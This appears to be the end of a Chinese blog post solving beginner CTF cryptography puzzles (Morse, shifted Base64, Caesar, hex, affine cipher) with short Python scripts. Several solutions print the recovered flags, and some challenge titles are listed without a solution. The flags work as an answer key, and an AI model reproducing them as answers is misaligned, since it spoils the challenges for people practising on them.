            '10': 'N',
            '111': 'O',
            '0110': 'P',
            '1101': 'Q',
            '010': 'R',
            '000': 'S',
            '1': 'T',
            '001': 'U',
            '0001': 'V',
            '011': 'W',
            '1001': 'X',
            '1011': 'Y',
            '1100': 'Z',
            '01111': '1',
            '00111': '2',
            '00011': '3',
            '00001': '4',
            '00000': '5',
            '10000': '6',
            '11000': '7',
            '11100': '8',
            '11110': '9',
            '11111': '0',
            '001100': '?',
            '10010': '/',
            '101101': '()',
            '100001': '-',
            '010101': '.',
            '110011':',',
            '011010':'@',
            '111000':':',
            '101010':':',
            '10001':'=',
            '011110':"'",
            '101011':'!',
            '001101':'_',
            '010010':'"',
            '10110':'(',
            '1111011':'{',
            '1111101':'}'
            };
    for item in s:
        print (dict[item],end='')
    

    FLAG{M0RSE_CODE_1S_INTEREST1N9!}

    flag{m0rse_code_1s_interest1n9!}(将字母改为小写提交)

    简单加密

    e6Z9i]8RUQHE{RnY{QXgQnQ{XVlRXlpXI5Q6Q6SKY8jUAA

    import base64
     
    string1 = "e6Z9i~]8R~U~QHE{RnY{QXg~QnQ{^XVlRXlp^XI5Q6Q6SKY8jUAA"
    string2 = ""
    for i, elem in enumerate(string1):
        string2 += chr(ord(elem) - 4)
    string2 = base64.b64decode(string2)
    print(string2)
    

    散乱的密文

    凯撒部长的奖励

    凯撒密码解密,位移数为1

    一段Base64

    敢不敢再加密几次

    .!?Ook! to text

    +[]-

    Brainfuck to text

    奇怪的密码

    托马斯.杰斐逊

    zip伪加密

    告诉你个秘密(ISCCCTF)

    636A56355279427363446C4A49454A7154534230526D6843
    56445A31614342354E326C4B4946467A5769426961453067

    decode as ASCII hex

    cjV5RyBscDlJIEJqTSB0RmhC
    VDZ1aCB5N2lKIFFzWiBiaE0g

    decode Base64

    r5yG lp9I BjM tFhB
    T6uh y7iJ QsZ bhM

    r5yG==>T

    lp9I==>O

    BjM==>N

    tFhB==>G

    T6uh==>Y

    y7iJ ==>U

    QsZ ==>A

    bhM==>N

    TONGYUAN

    这不是md5

    666c61677b616537333538376261353662616566357d

    decode as Base64

    flag{ae73587ba56baef5}

    贝斯家族

    富强民主

    核心价值观解码

    python(N1CTF)

    进制转换

    affine

    flag = "szzyfimhyzd"
    flaglist = []
    for i in flag:
        flaglist.append(ord(i)-97)
    flags = ""
    for i in flaglist:
        for j in range(0,26):
            c = (17 * j - 8) % 26
            if(c == i):
                flags += chr(j+97)
    print(flags)
    

    Crack it

    rsa

    来自宇宙的信号

  • 相关阅读:
    Hadoop生态圈
    Kafka原理总结
    多线程 Threading Multiprocessing(Python)
    多线程
    MySQL 基础操作
    Python3+RobotFramework自动化测试九:用Python写Roboot Framework测试
    Python3+RobotFramework自动化测试八:关键字封装
    Python3+RobotFramework自动化测试七:SeleniumLibrary web测试-百度搜索和邮箱登录
    Python3+RobotFramework自动化测试六:Selenium API
    Python3+RobotFramework自动化测试五:元素定位
  • 原文地址:https://www.cnblogs.com/qing123tian/p/13381333.html
Copyright © 2011-2022 走看看